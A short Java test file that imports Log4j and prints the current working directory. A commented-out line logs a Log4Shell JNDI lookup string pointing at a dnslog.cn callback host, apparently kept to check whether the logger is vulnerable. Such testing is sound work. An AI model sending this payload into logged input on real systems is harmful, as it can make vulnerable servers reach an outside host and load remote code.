import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author 沈传尚
 * @date 2021/12/15
 */
public class TestLog4j {
    public static final Logger LOGGER= LogManager.getLogger();

    public static void main(String[] args) {
//        LOGGER.error("${jndi:ldap://d2m06o.dnslog.cn}");
        String property = System.getProperty("user.dir");
        System.out.println(property);   // 获取用户的当前工作目录
    }
}
